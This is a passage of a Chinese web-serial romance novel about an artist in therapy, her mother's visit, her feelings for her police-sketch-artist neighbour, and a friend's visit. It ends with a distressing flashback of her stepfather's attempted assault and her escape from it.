乔星若想起许敏今天会过来繁花苑找她,也差不多到约好的时间了,便拒绝了。
跟他们道别后,乔星若原本想给许敏打个电话,让后者顺便过来这边接她。
可纠结了一下觉得还是算了,现在天色还早,自己可以走回去,没必要让许敏在这人生地不熟的地方跑来跑去的。
许敏搬来海城之后,她们就没再见面了。
前两天打电话时,许敏试探地询问了她的意见,能不能来她住的地方看看她。
乔星若有些犹豫,但想到许敏本来的社交圈就在羽城,突然搬来这里可能连个能说话的都没有,一时心软便答应了。
许敏听到她答应,后面的语气都轻快了许多。
乔星若便也不好反悔。
天色不知不觉暗了下来,路边亮起了昏暗的灯,树影映在地面,有的边界清晰,有的边缘被光照得朦胧。
这条路在饭点时行人很多,三三两两步行街逛着。
乔星若低着头心不在焉走着,再抬头时发现自己路过了海城分局。
也不知道陈时澹今晚要不要加班。
她脑子里下意识冒出了这个想法。
每次在这个地方都有点社死,怕遇到陈时澹那些认得她的同事,她加快了脚步。
正好此时手机的电话铃声响起,乔星若从口袋里掏出来,发现是许敏打来的。她滑到接通,将手机贴到耳边。
许敏:“喂?若若,你现在在家吗?妈妈炖了汤过来,现在在你出租房门口了。”
没想到许敏这么快到了,乔星若怔了一下:“我刚结束这边的工作,在回来的路上。”
“这样啊,那需要我去接你吗?”
“不用,不远的,我很快就到了。”乔星若脚下的步伐不自觉加快。
听出她声音里多了点急促,许敏安抚她:“好吧,那你慢慢来,妈妈在门口等等没关系的。”
“……”
挂断电话后,许敏正要把手里的两大袋东西放下,隔壁801的门却开了。
许敏下意识转头看过去,就看到了自己刚结识不久但都快处成闺蜜了的房东的儿子。
陈时澹出门倒垃圾,看到许敏也是一愣:“阿姨好。”
“小澹
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啊,晚上好呀。”许敏笑了笑,“我过来找若若呢,但是她今天好像是去上班了,还没回来。”
“她这个职业的工作时间比较灵活,不好说什么时候才回来,您先过来我这边坐会儿吧。”陈时澹将门敞开,往旁边侧了下身。
许敏有些不好意思:“啊,那会不会打扰到你?”
“不会,您进来吧,不用换鞋。”
“那你忙你的就好,不用管我。”
“……”
陈时澹下楼倒完垃圾回来,进门前酝酿了一下。还严谨地低头瞥了眼自己的着装。
许敏坐在客厅的沙发上,将他屋里的布局简单打量了一遍。
风格简约,环境干净,客厅里的东西摆放得有些随意却算不上乱。厨房里有食物的香味,说明会做饭。
对长辈也挺有礼貌的,性格好,会照顾人,是一个很不错的男生。
住乔星若隔壁的不是什么乱七八糟的人,挺好的。
陈时澹到饭厅拿了恒温水壶和杯子过来给许敏倒水。
“阿姨,您喝点水。”
“哎好,谢谢。”许敏将杯子接过来,随口询问,“小澹,你今天这么早下班啊,我听你妈妈说你平时都很忙。”
“是,今天任务进行得比较顺利,所以比平时早了点。”陈时澹站的笔直端正,微不可察地清了清嗓子,“阿姨,您过来之前吃晚饭了吗?”
许敏笑了笑:“还没,我炖了汤过来,想着等若若回来再做两菜一起吃。”
“那要不你们今晚在我这吃吧,我正好在做饭。”陈时澹顿了顿,低声补充了一句,“平时我和若若也经常一起吃饭,谁回来得早就顺便把对方的饭也做了。”
许敏听他这么说,当即同意了:“好呀,那我也来帮忙吧。”
“不用,我来就好,您再坐会儿。”
“哎呀,两个人快嘛,也能聊聊天。”许敏不由分说站起身,跟他一起进厨房。
陈时澹刀工好,一个削好的土豆被他按在砧板上,跟素描排线似的刷刷刷,很快便切成整整齐齐、粗细相同的丝了。
“可以啊。”许敏目睹全程,这手法娴熟的,一看就是经常做饭,对这孩子的好感更甚。
“小澹啊,有没有对象呀?”
“还没,”陈时澹开玩笑道,“我们工作特殊嘛,不好祸害人家姑娘。”
“这么想也不对,”许敏不赞同,“谁都有追求幸福的权利呀,遇到合适的还是要试试的,不然全天下的警察不都打光棍了?”
陈时澹眉梢一扬:“阿姨说得对,但我条件一般,没有姑娘看得上我。”
“你可太谦虚了小澹,你家境好,工作稳定,长得也帅,条件哪里一般了。”许敏对这事明显上心了,“你说说喜欢什么类型的,阿姨给你介绍呀。我们羽城的姑娘也很好看的,你看我家若若就很好看吧!很多都过来海城这边工作呢。”
陈时澹听到乔星若的小名,手里的动作顿了一下。像是怕被人看出心思,眼睑下垂了些。
几秒后,他故意顺着许敏的话,若无其事笑道:“阿姨不会是想把你女儿介绍给我吧。”
“怎么会,你可真会开玩笑。”许敏想都没想就给否了。
“……”陈时澹还强撑着唇角的那点弧度,可眼里已经没了笑意。
讲个笑话,开玩笑的当事人觉得并不好笑。
36. 没钱
许敏没看出来陈时澹的不对劲,还在絮叨着:“若若不行呢,她不能谈恋爱。阿姨认识一些跟你年纪差不多的姑娘,是羽城人,来海城读完大学后留在这边工作的。”
工作几年养成的职业病,陈时澹跟人聊天时对一些词眼特别敏锐,比如乔敏说的“不能谈恋爱”。
不能。
不是“不想”,也不是“不适合”,而是“不能”。
完全不同的含义。
陈时澹下意识想问原因,但这只是一场比较随意的聊天而已,他也不好刨根问底扰了气氛。
后面联想到乔星若的心理病,他大概有了答案。
许敏再跟他说聊什么相亲对象条件时,他也只是心不在焉应着,全然没兴致。
—
走了二十来分钟,乔星若回到了小区,乘电梯上楼。
没在过道里看到许敏的身影,她有点懵。纳闷挠了挠脑袋,给许敏打电话。
电话很快接通,许敏的声音传来:“若若,我刚才遇到你邻居小澹了,我在他家里呢。我现在去……啊,他去给你开门了。”
乔星若转头朝隔壁门的方向看过去,正好此时被人打开,跟陈时澹的视线撞了个正着。
陈时澹并不意外:“阿姨在我这边,我们说好了今晚在我这边一起吃饭。”
乔星若的脑子慢吞吞转着,思考他说的这个“我们”,包括她吗?
他怎么把她的妈妈骗走了?
“过来。”陈时澹不知道她在想什么,忽然就走神了,有些无奈。
乔星若啊了一声,乖乖走到他面前,跟他进屋。
“若若回来啦。”许敏也从厨房出来了。
她拿了三个碗出来,把自己带来的汤倒进碗里:“菜都是小澹做的,我也没帮上什么忙,你们尝尝我炖的排骨汤吧。”
“没有,有阿姨在我轻松了很多。”陈时澹走过去拉开一个位置的椅子,又拉开旁边的坐下。
“谢谢。”乔星若在他旁边坐下,小声道谢。
现在许敏在场,她对陈时澹的态度莫名拘谨了些。
大概是因为许敏是最了解她的人,很容易被看出破绽。
所以少说话才是最正确最保守的选择。
乔星若这顿饭吃得有点不开心,因为听到了她妈妈要给陈时澹介绍相亲对象。
许敏说的那个小姐姐她也见过,跟她初中同校,是一个很优秀漂亮的女孩子。
许敏后面也注意到了乔星若的情绪,问她怎么了。
陈时澹也看了过来:“菜不合口味?”
乔星若摇摇头,找了个借口说年后第一天上班事情多,有点累。
吃完晚饭后,三人又在客厅聊了会儿天,乔星若和许敏便告辞回了隔壁。
许敏进门,环顾了一圈乔星若居住的环境。跟隔壁户型不同,小一点,只有一室。
客厅堆了很多猫的东西,还有一个很占地方的猫爬架,并不宽敞。
乔星若从小到大的习惯,不喜欢把自己的空间整理的太有调理,就喜欢乱一点,东西放哪都有自己的道理,整理了反而找不到了。
茶几上摆了很多零碎的东西。小梳子、折叠镜、剪刀,是她昨晚给自己修刘海忘记收起来了。
许敏的目光一顿,落在沙发扶手上的那几本书:《世界尽头的咖啡馆》、《□□先生去看心理医生》、《向内看见》。
这是安医生向乔星若推荐的书,她买回来看了,忘了收起来。
乔星若默默走过去,将那些东西一股脑堆起来,放在一个角落。
“多看点书也挺好的,陶志情操。”许敏笑了笑,在她旁边坐下。
“嗯……我去煮点水。”乔星若拿起茶几上的水壶到厨房,接了大半壶水,通电运作。
很快便传来水壶轰鸣的声音。原以为有点东西发出声音会好一些,可回到客厅,还是觉得氛围很安静。
“若若,你过两天是不是要去看心理医生了?”乔星若每次的治疗周期变动都会跟许敏提一下,后者默默记下了。
乔星若想了一下,打开手机的日历备注,过两天的行程安排中确实有心理咨询这一项,点了点头。
许敏的神情变得有些踌躇,欲言又止。
乔星若敏锐察觉到,神经变得紧绷。
她有点害怕许敏是在觉得自己治疗的时间太长了,好得太慢了,或者质疑自己的心理医生。
很多关于钱的问题都会让事情变得敏感。
乔星若是一个对钱特别在意的人。
因为从小到大都有人跟她说,她是单亲家庭,妈妈一个女人赚钱很辛苦。
要节约,不然哪天家里没钱了就把她卖了。
要懂事,不听话就不要她了。
那些人或许是看她年纪小想逗她,可说者无心,听者有意。
乔星若当时那么小,心思又重,根本分不清哪些话是开玩笑,哪些话是认真的。
所以即使许敏总跟她说不要担心钱的事情,她还是“懂事”地省钱,花的每一分钱都算计着。
学画画大概是她最喜欢,却又最愧疚的事情。
没钱真的是一件很没有安全感的事情。
乔星若抿了抿唇:“我觉得自己好很多了……嗯,应该是比前两年的状况好一些的……”
许敏现在搬来海城,羽城那边的花店暂歇了,没了经济收入来源。乔星若以为前者是觉得经济压力太大了。
“妈妈,你以后别给我转钱了。”
她的眼神多了点懦弱。
字里行间都在流露着那句没底气说出口的——
你别放弃我。
许敏愣了一下,下意识问:“为什么?”
“就是……我现在工作挺稳定的,钱够花的……”乔星若手指纠缠在一起,目光落在膝盖上,“我都这么大了,总不能一直花您的钱。”
许敏再迟钝也反应过来她在想什么了,随即解释:“妈妈不是觉得给你治病很花钱,妈妈没有这么想过。”
乔星若睫毛微颤,艰难开口:“那您刚才……”
“我是在想怎么跟你提,过两天我想陪你一起去医院。”许敏揉揉她的脑袋,“除了第一回的咨询,后面的妈妈都还没陪你去过呢,总是你一个人。”
这句话不轻不重,戳在乔星若内心最柔软的地方,她的眼眶有些酸涩。
“嗯,好……”
“若若,你别担心钱的事情,家里有钱。”许敏温声安慰她,”也别觉得花家里的钱有负罪感,这些钱是你爸爸和外公外婆留给我们的。”
这句话乔星若听过很多次,她没吭声。
许敏知道她没听进去,叹了口气。
“……”
她们聊了一会儿,看时间不早了,许敏让乔星若早点休息,准备回去了。
乔星若送许敏到门口,呐呐叫住后者。
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>“妈妈。”
乔星若挠挠头,语气干巴巴的:“就是,你煮的汤很好喝。”
亲子间的默契,许敏听懂了,眉眼舒展开。
“下次再给你带呀。”
“晚安。”
“安安。”
—
这天之后乔星若也开始上班了,心理咨询的时间是选在她没课的下午,许敏来画室接她去市医院。
乔星若从画室出来,刚好江嘉明从外面回来,便打了个招呼。
江嘉明随口问了句:“若若,你准备回去了啊?”
乔星若点头,想起欧辞钦昨晚出差了,现在就剩他们俩在画室,自己就这么走了有点不好意思:“我下午有事,要不然我就去初中那边帮忙了。”
“没事,西芹招了两位助教,下午应该能过来。”
听他这么说,乔星若才松了口气。
正好许敏也下车过来了,觉得江嘉明眼熟:“你是之前送若若和阿元回羽城的……小江?”
“是的,阿姨好。”江嘉明扬起笑容,“阿姨,您过来海城这边玩?”
许敏:“哎,是,我挺舍不得若若的,就过来陪陪她。”
“那阿姨要不今晚咱们仨一起吃个饭吧,我请客。”
乔星若:“下次吧,我等会儿办完事直接回家了,其他工作也拿回家晚上做。”
“那好吧。”江嘉明勾起一抹惋惜的笑,“我先上楼了,你们路上注意安全。”
“好,拜拜。”
“……”
“妈妈,我们走吧。”乔星若挽住许敏的手,往停车的方向走。
许敏刚才不是没注意到江嘉明的神情变化,若有所思。
再联想到上回过完年刚来海城吃的那顿饭上,乔景元说江嘉明是特意等乔星若一起回羽城的。
她女儿这么漂亮,有人喜欢是很正常的。
只是乔星若在她眼里还很小,心思又单纯,她不放心那些并不了解的外人。
两人坐进车里,系好安全带。许敏酝酿片刻,故作不经意问:“若若,你觉得小江人怎么样啊?”
毕竟刚才遇到了,现在问一下很正常。乔星若没多想,诚实回答:“挺好的啊。”
“具体点呢?”
乔星若平时也没怎么注意江嘉明的优点,一时想不到什么词来具体形容:“就是,好人,很好的人?性格脾气都挺好的,上课的水平也好,那些学生都挺喜欢他的课的。”
而且给她提供赚钱的机会啊,不是好人是什么。
许敏没听出自家女儿对江嘉明的任何那方面的感觉,讪笑一声。
既欣慰又好笑。
她女儿对别的事情都挺敏感的,怎么在感情方面就这么迟钝?
两人来到市医院,乘电梯到精神科。
乔星若进入安医生的诊室,许敏则在等候区等待。
大概过了一小时,乔星若从里面出来,面部肌肉舒展,是刚被治愈完的神情。
许敏见她如此心情也跟着变好,没有问她和医生在里面聊了什么,而是挽起她的手往电梯口走,商量晚上想吃什么。
“火锅。”乔星若歪了下头,唇边蓄着不明显的笑意,像个对妈妈撒娇的小孩子,“好久没吃了,我想吃。”
记忆里小时候的乔星若与此刻的乔星若重叠,许敏恍惚了一瞬,也跟着露出一个发自内心的笑容。
“好,那就吃火锅。”
37. 米谰
她们进入一个商业楼里的火锅店,跟着服务员到空位置刚准备坐下,就听见另一桌传来两道熟悉的声音。
“星若姐?”
“姐、伯母。”
乔星若回头看过去,看到了声源处的隔壁桌。有三个人,一男二女,其中两个她认识,乔景元和梁知意。
“?”乔星若一愣,“你们认识?”
梁知意:“他是我闺密男朋友。”
乔星若有些意外,可谓是无巧不成书。
乔景元给乔星若介绍他们座位上的另一位女生:“啊,这是我之前跟你们提过的,我女朋友,周歆。”
“小歆,这是我姐,和我伯母。”
周歆乖巧打招呼:“姐姐好,伯母好。”
“你好,叫你小歆可以吧?”
“可以的。”
“那改天和阿元来家里玩呀,伯母肯定好好招待。”
“好的。”
乔景元:“既然遇上了,要不要一起啊?”
因为是和许敏一起出来的,乔星若不太想被其他人打扰,便拒绝了:“不用了,你们慢慢吃。”
许敏附和:“对啊,肯定是你们年轻人比较有共同话题,我在的话你们可能放不开。”
“……”
坐下之后,乔星若和许敏拿到菜单开始点菜。
她们的肠胃都不太好,吃不了辣,点的番茄和清水锅。
与隔壁只隔着挡板,并不隔音。乔星若翻看菜单时,忽然听到另一桌的谈话声。
梁知意:“她就是我跟你们说的,我crush的邻居小姐姐。”
听他们聊天的内容中有自己,乔星若勾选菜品的手一顿。
乔景元一惊,忘了压低声音:“你喜欢时澹哥啊?”
听到熟悉的名字,许敏抬了下眼,正好跟乔星若的目光对上,后者立即心虚低头,轻咬着指腹故作不知道点什么的模样。
咦~世界真小,年轻人的瓜就是好吃。
梁知意有些意外:“你也认识时澹哥啊?不过我感觉我哥不太支持我们,他说时澹哥不喜欢我这种的,只把我当妹妹。”
后面还有一句,但是因为听着很没面子她没说出来。
梁知恒当时说陈时澹估计对他邻居有意思,让她不用想了。
梁知意托着腮,有点苦恼。
在年龄上,乔星若和陈时澹更加接近。两人还都是从事美术相关的专业,话题更多。
生活上,两人住的近,可以经常见面。
特别重要的是,乔星若长得好漂亮哦,性格也很温柔。
胜算低下。
但不死心。
梁知意撇撇嘴:“肯定是我哥瞎说的,年轻气盛的老子就不信邪了,从现在开始我要追他!”
“若若,点好了吗?”许敏见乔星若一直不动,问了一下。
“啊,好了。”乔星若把菜单递给她。
许敏拿过来扫了一眼,又加了几样,把菜单递给服务员。语气带了点揶揄:“小澹前两天还和我说自己条件一般,没女孩儿看得上他,果然是谦虚了。”
乔星若垂着眼帘,手指搭在杯口上,有些走神。
“若若?”
乔星若回过神,呐呐“啊”了一声。
许敏眼睑微动。回忆起刚才跟那三个小年轻打完招呼后,乔星若就一直心不在焉的。
而他们那桌话题里的主要人物陈时澹,跟乔星若也有点关系,所以——
她女儿走神的原因是因为陈时澹?
知女莫若母。
许敏想问一下,却碍于乔星若脸皮薄,估计会不好意思。
于是饭后回到车上,许敏又问起了相似的问题。
“若若,你觉得小澹人怎么样?”
“!”乔星若惊诧地睁大眼睛,脸刷地一下红了。
她张了张嘴,却不知道自己要说什么。
完全不同于刚才问起江嘉明时的反应,许敏心里了然。
陈时澹这个男生许敏也很满意,画像师这个职位在刑警中不算危险的,除了工作忙点就没什么毛病了。
“我们若若这是开窍啦。”许敏调侃道。
乔星若抿着唇,心跳不受控制地加快,想起那人的名字,跳的更快了。
不知过了多久,心跳恢复正常,乔星若也冷静了些,才能勉强跟自己最亲近的人提这个事情。
“妈妈,我是不是太自私了?我这个样子,有这种想法好像是很不应该的。”
许敏没有立即回答,在等红灯时,她转头认真看着乔星若。
“宝贝儿,每个人都有追求幸福的权利。”
“你什么样子?那只是你认为的,只是一个角度,并不是事实。其实你在我们这些愿意去了解你的人眼里,是很美好的姑娘,心理缺陷只不过是那么美好的你身上的一小片阴影,可我们往往更多的看到的是你整体的明艳动人。”
“就像你画的那些画,你会因为空间关系出现的阴影觉得整个画面都黯淡了吗?”
乔星若微微怔住。许敏描述的她,似乎是一个陌生,但又仿佛相识已久的她。
安医生眼里的她好像也是这样的,这段话像是在验证前者的话,让她不由有些相信了。
“只要是人,有这种想法都是很正常的。恋爱而已,你还年轻,即便是一个错误,也不是什么不可挽回的滔天大罪。”
“如果你愿意的话,是可以去尝试一下的。妈妈也希望你能去做一些你想但从没尝试过的事情,从中增强幸福感。”
温和的言语引导着乔星若离开那个漆黑的死胡同,一直往前走,直到看到了眼前细细碎碎的光。
这种感觉有点熟悉,很像一小时前她在安医生的诊室里聊天的感觉,心里的涟漪一点点平息,归于宁静。
许敏的手覆在她的手背上,眼神温柔:“只要是你愿意的,能让你快乐的事情,妈妈都会无条件支持你。”
“……”
—
米谰过来海城那天,刚好是乔星若的休息日。
乔星若昨晚画画没注意时间熬晚了,直接睡到翌日下午,被一通电话吵醒。
她惺忪地揉揉眼睛,看到屏幕上显示的来电人是米谰,没多想便滑到了接通,点开免提。
“喂……”
一道激情澎湃的声音传来:“若宝,我到机场啦~你人嘞?”
“!”乔星若被吓得把手机拿远了些,脑子瞬间清醒,从床上翻身坐起看了眼时间。
完了完了。
米谰前一天就跟她说了大概几点到,她这个记性衰退的脑子不出所料给忘了。
懊恼几秒后,乔星若立即下床洗漱,边忙活边给电话那头的人道歉:“不好意思啊谰谰,我睡过头了,我现在刷个牙就过去……”
“没事没事,你别着急慢慢来。发我地址,我现在回
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酒店放好东西,然后打车去你那。”
“好。”
“……”
挂了电话,乔星若含着满口泡沫给米谰发了地址。简单洗漱完从卫生间出来,瞥了眼有点凌乱的客厅,挣扎片刻还是放弃了。
她和米谰是在一个签售会上认识的,当时展上有个小姑娘的COS服出了点状况,又刚好混进一个猥琐男偷拍人小姑娘的裙底。
当时她俩一个脱外套护住小姑娘,一个暴扣猥琐男,就这么一战成名。
因为这事,两人机缘巧合下加了联系方式。
后来发现她们喜欢的是同一个画手大大,都是为这位画手大大而来的。结果越聊越投机,性格虽差异大但也奇异地互补。
说来也怪,乔星若跟米谰虽然见面的时间不多,但相处时磁场莫名的融洽,有种一见如故的感觉。
也许是因为在网上交流不用顾及太多的原因,乔星若很少会跟人交心,但跟米谰却很多事情都能自然倾诉出口。
到现在也有好几年的交情了,说是闺密也不为过。
都这么熟了,乱点也能接受吧。
何况刚熬完夜起床,脑子里还糊着层浆,她实在懒得收拾了。
过了差不多半小时,米谰发了消息过来,说自己已经放好行李上车,应该快到了。
乔星若披了件薄外套,去小区门口接人。
来到小区门口等了一会儿,有辆出租车从不远处开过来,在乔星若面前停下,一个穿着漂亮小裙子的女生从车上下来。
“乔乔!若宝~”米谰一下车便给了乔星若一个大大的熊抱,疯狂蹭蹭后者的脸颊,“啊啊啊我好想你哦!”
“啊啊我也好想你~”乔星若性格上偏向外冷内热,在关系很好很好的朋友面前会不自觉沾染上对方的性格,虽然还是有点腼腆。
米谰抱着她的胳膊撒娇:“我饿饿饿饿,快把我捡回家蹭饭叭~”
“好好好,你想吃什么?我给你做。”乔星若回忆了一下自家冰箱里的东西,好像已经粮尽了,“算了我们还是先去超市吧,家里就剩猫粮了。”
她们去了附近的超市,买了食材,顺便采购了日用品。也不知道米谰怎么想的,路过饮品区时搬了一提啤酒。
乔星若被她这架势吓了一跳。
米谰理所当然:“小龙虾当然要配啤酒啦。”
最后人手一大袋东西出超市。
都是常年宅家的人,体质都不咋地。米谰没走两步就喊累了:“若若,你什么都没准备是不是早就算好了要让我来当苦力?”
乔星若眼帘一掀,给了她一个眼神:“先把你那啤酒扔了再说话。”
“略,不扔不扔,是的我就是不要脸,嘻嘻。”
“……”
两人唠了一路,很快便到了单元楼。电梯门开之后,米谰突然体能加满,抱着东西小跑出去张望。
语气带着毫不掩饰的八卦:“若若你住哪户?叫你那警察小哥哥过来跟咱们吃饭呗。”
“我住802,他好像上周出差了吧,应该还没回来。”
乔星若想起陈时澹出差前还跟她说了一声,然后把家里的食材都清给她了,说是怕放久变质,让她帮忙解决。
乔星若走到自己家门口,把东西放下准备掏钥匙开门,就见自家闺闺的作势像是要扒隔壁门,一脸惊恐把人拉了回来。
“别搞啊姐姐,他家门口装了监控的!”
38. 逃生
米谰“噢”了一声,有些遗憾:“出差了啊,来不逢时好绝望,我真的好好奇你crush长啥样哦。”
“就……正儿八经的人样。”乔星若死死拽着她,另一只手开门。
“废话文学。”米谰不满嘟哝,“还有他那个职业我也很好奇,画像师我只在电视剧里看过呢,正好下本想写刑侦题材,本来还想跟他取取经来着。”
“那你找些刑侦题材的专业书或者电视剧看看,应该都差不多吧。”
进门之后,乔星若给米谰拿了新的拖鞋,让她自行活动,把食材全拿到厨房整理。
“小咪咪~”米谰第一次见乔咪咪,还不太敢抱,只是摸摸它的脑袋,确定它不会咬人后才把它抱了起来,“呀,你居然这么重,你妈喂你啥了?”
乔星若听到她说的话,无奈一笑:“现在还好,之前更重,后来经常带它下楼玩就减了点。”
米谰扫了眼客厅推着的东西,不禁啧啧:“你还跟我说你没钱,你崽跟你过的啥好日子啊这,我看着都对我家狗崽子有点愧疚了。”
“就是没钱啊,我可穷了,现在找着班上了手头才宽裕了点。”
米谰又问了几句乔星若工作的事情,后者耐心回答。
“那你明天要上班吗?”
“要的,可忙了。对了你那个签售会我应该没时间去,”乔星若觉得有点可惜,“我都好久没逛漫展了。”
米谰不乐意了,小跑进厨房抱住乔星若软声哀求:“怎么能这样,咱们好不容易见一面,你都不陪我玩……乔星若,算我求你,请假!请假啊啊啊,课时费我补给你!”
乔星若好笑地看她:“我们初创画室老师少,我请假了谁上课?”
对峙两秒,米谰可怜巴巴松开手。
虽然放弃了这个念头,但还是戏精上身:“女人,你变了,你不爱我了。”
乔星若勾了勾唇:“没钱别谈爱OK?不上班你养我啊。”
“我养你啊。”
“v我五十w看看实力。”
“坏了这个我是真有。”
“闭嘴,我仇视有钱人。”
“太有实力也怪我,你这个女人是真不爱我了。”
“嗯嗯嗯。”
“……”
海城临海,海鲜价格不算贵,她们买了很多。
米谰不会做饭,热心帮忙打下手结果越帮越忙,乔星若忍着没把她轰出厨房,折腾了两小时,晚饭终于做好了。
她们全端到客厅里,摆了满满一桌,找了部动漫电影连上投影仪播放。
乔星若取出一听刚才回来时放进冰箱冷藏的啤酒和两个空杯子,挨着米谰坐下。
客厅小的好处就在此时就显现出来了,两位女孩子窝在一起看电影,氛围感温馨浓厚。
然而,一个小时后——
桌上多了几个空酒瓶。
乔星若半阖着眸,琥珀般的星眸蒙了一层水雾,浓密的睫毛低垂着,宛若憩息的蝴蝶。
下面的一张小脸晕染着绯红,犹如熟透的粉桃子。
米谰码字的时候就特别喜欢饮料酒水作伴,她算是悟了李白为什么作诗得喝酒了,因为嘴里不吧唧点味儿手感不好啊。
她还认识一位老师是边抽烟边码字的。
写文这种需要消耗精力的事情是很容易积攒情绪的,而积攒起来的情绪需要及时排泄出来。
而像她这种不会抽烟,但精神压力又大的,就只有吃吃喝喝了。
所以她常年喝酒,早就练出了酒量,这几瓶在她这里只能说是尝尝味儿。
看着已经快睡过去的乔星若,米谰揉了揉后者的脸:“若宝,你酒量不行啊,幸好咱没出去喝。”
乔星若抬了下眼,很快又无精打采地放下去。
米谰简单收拾了一下残局:“好啦,我得回酒店了。”
乔星若的胃隐隐有了存在感,听到这话忍着疲倦仰头看她:“谰谰,要不你别回去了,太晚了不安全。”
米谰想也不想便否了:“不行,我笔记本在酒店呢,今晚喝了点酒文思泉涌的,不能拖更,不然我会替我的读者无法原谅自己。”
真是一位勤恳码字的好作者,这钱活该她赚。
看米谰态度这么坚决,乔星若没再劝她,撑着脑袋缓缓站起身:“那我送你吧。”
“送到门口就行了,一定要记得锁门哦。”
“好。”
乔星若送米谰到门口,目送后者进电梯后,她回屋锁好门。
因为忍不了自己一身酒味上床,乔星若又蜷缩回了刚才窝得暖乎乎的沙发上,安静闭眼。
与此同时,米谰在电梯厢里等待降落的时间里,顺便在网约车平台上叫了辆车。
显示接单成功时,电梯门刚好打开。
米谰抬眼便注意到了一楼站了位身穿黑色冲锋衣的男人,带着墨绿色的口罩,只露出狭长冷淡的眼眸。
他拖着行李箱进电梯,两人擦肩而过。
米谰爱看帅哥,但视线只是多停留了几秒就被那人察觉到,并回以锐利的眼神。
她心里下意识惊骇,匆匆收回了视线。
电梯门关上后,米谰忍不住小声嘀咕:“什么人啊。”
“……”
陈时澹到了上楼,掏钥匙的同时扫了眼802紧闭着的门,考虑要不要跟乔星若说一声,他今晚出差回来了。
也没别的意思,就是看她平时挺没安全感的,自己出差期间,不知道她一个人在这一层住着会不会害怕。
真的,没别的意思。
进屋后,陈时澹打开客厅的灯,低头瞥了一眼沾着颜料和碳灰的袖子,将外套脱了下来,露出里面的白底衫。
这是他从学画画开始就养成的习惯,春冬季节在外面一般都穿冲锋衣,这种布料顺滑好清洗。
陈时澹把行李箱随手搁在客厅,回房间洗澡。
另一边。
可能是因为在沙发上睡的不太舒服,乔星若做了个梦。
梦到了几年前的事情。
许敏和祢戌文结婚后,后者就搬了过来和她们一起住。
乔星若的性格原因,会习惯性对不太熟悉的人察言观色,对他们的眼神和微表情格外留意。
她留意到了继父看她的眼神。
很怪异,表面和善却总透着一种违和的怪异。
祢戌文喜欢跟她有肢体接触,经常说着话时手搭上她的肩膀,或者不经意碰她的手臂。
乔星若不喜欢跟他说话。
可她不说,那个人就以关心她的名义跟她没话找话,这种感觉很不舒服,心里没由来的恐慌。
这种事情乔星若不知道怎么跟许敏提,她没有证据,也不确定是不是自己太敏感了,她有些害怕。
许敏一向尊重她,所以以前家里只有前者和她时,她从来没有反锁过自己房间的门。
可自从祢戌文搬进来后,乔星若产生了警惕,每天回到房间的第一件事就是反锁门,然后检查自己的房间有没有人进出过的痕迹。
她觉得光是这样还不够,便搬了张凳子放在门口。
跟画室老师订购画材时,乔星若特意多订了一把切橡皮用的收缩美工刀,放在书桌上,用书盖着。
可是在某天,乔星若不知道为什么,自己房间的门锁坏了。
她跟许敏提了这件事情。
当时许敏还不知道事情严重性,又赶上店里忙,便随口承诺改天会找师傅过来修。
乔星若知道许敏忙,也不好多说什么。
美术生的假期很少,乔星若其实很少有跟祢戌文单独在家的时间。
那天正好画室放月假,许敏也正好要给临期举办婚礼的某酒店送花,很早就出门了。
乔星若想出门找个地方待着,可听到走廊徘徊的脚步声,她没敢出去。
在坏事面前,她的第六感一向很准,此时屏息凝神,心里直打鼓,时刻注意房间外面的动静。<
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p>乔星若摸到了先前准备的美工刀,颤颤巍巍攥在手里,抱紧了手里的书包。
有备无患,乔星若从旁边的书架挑了几本厚重的书和字典一股脑塞进书包里,轻手轻脚地过去将阳台门拉开,紧紧盯着房间门口。
事实证明,她心里预料的事情真的应验了。
不知过了多久,房间门的把手轻轻下滑。
这个房子的门锁已经有些生锈,也可能是心理作用,开门的声音格外刺耳。
门被人从外面打开的瞬间,乔星若的心里防线险些破裂。
祢戌文不是不知道乔星若对他有戒备,但没想到她早有预感。
但又有什么用呢。
只要她人还在这里,就连挣扎的力气都没有。
他很快笑开。
“星若,怎么拿着书包站那呢?阳台风大。”
“……”
乔星若紧张攥着手里的东西,忍着颤抖的声线说:“我……我准备出门……去书店自习……”
“自习啊,是该好好学习,学习专业的同时,文化也不能落下呢。”祢戌文弯着眼睛,抬步走进来。
“但也要劳逸结合哦。”
祢戌文的眼尾褶皱极深,似是和善爱笑的人才有的神情,此刻在乔星若的眼里却如同宣判死亡的恶鬼。
“若若,今天你妈妈不在家,来陪叔叔聊聊天吧。”
看着那人越走越近,乔星若的下唇被自己咬出了血,疼痛一灼,仿佛刺激到了某根神经。
她彻底绷不住了,声音从喉间挤出,带着细细碎碎的哭腔。
“……你、你要做什么……你别过来……”
听到她惊恐的声音,祢戌文的笑意更甚。
“你妈妈是很漂亮,可她年纪大了,又是别人睡过的。比起她,叔叔更喜欢若若这么不谙世事的小姑娘呢。”
乔星若脑子里一片空白,几乎是出于本能反应,她用尽全力把手里的书包扔向那个人。
可惜书包也只是砸了祢戌文的手臂,击倒一个成年男性几乎是妄想,只会激起他的怒意,加快他撕下伪装的速度。
祢戌文的笑容瞬间敛起,吐出了几个难听的称呼和脏话,快步朝她走过来。
乔星若立即从外面拉上阳台门,可还是慢了一步,男人的一只手已经抵住了门框。
在悬殊的力气下,阳台门被强势地重新拉开,男人揪住她的衣领,将她往回拖。
乔星若在即将被拖进房间里时,手脚并用挣扎着,拼死扣住阳台门框,趁机咬了祢戌文一口。
祢戌文骂了句脏话,掐住乔星若的脖子。表情狰狞,手臂青筋暴起,仿佛下一秒就真的要掐死她。
濒临死亡的危险袭来,让乔星若感到前所未有的窒息。
在此之前,她从没想过自己会面临死亡。
她也不知道这副模样活着以后会怎么样,但她还不想死。
极其强烈的意念支撑着乔星若,将藏在袖子里的美工刀滑出刀刃,狠狠朝那人的手背刺了下去。
“艹!”疼痛让祢戌文收了力度,另一只手捂着伤口,给了乔星若逃生的机会。
祢戌文看到乔星若逃的是阳台的方向,似乎不担心她有路可逃,虽快步跟了过去,可也放松了点警惕。
但他没想到乔星若是真敢跳楼。
祢戌文知道闹出人命的性质和现在的情况差异是翻天覆地的,骨子里的懦弱让他迅速扯住了欲跳下去的乔星若,可也仅是扯住了她的头发。
乔星若感觉到头皮炸裂般的疼,可被这人再次抓到的恐惧战胜了那点疼痛。
她没有任何思考,几乎是出于本能反应将攥着刀的手臂往上一扬,将近三分之一的头发割断。
整个人从阳台掉了下去。
二楼的阳台说高不高,运气好的话,是很有可能捡回命的。
可那条命对她来说,已经变得破碎不堪了。
所以她不喜欢短头发。
真的太丑了。
39. 醉酒
乔星若缓缓睁开眼睛,感觉到熟悉的疼痛。
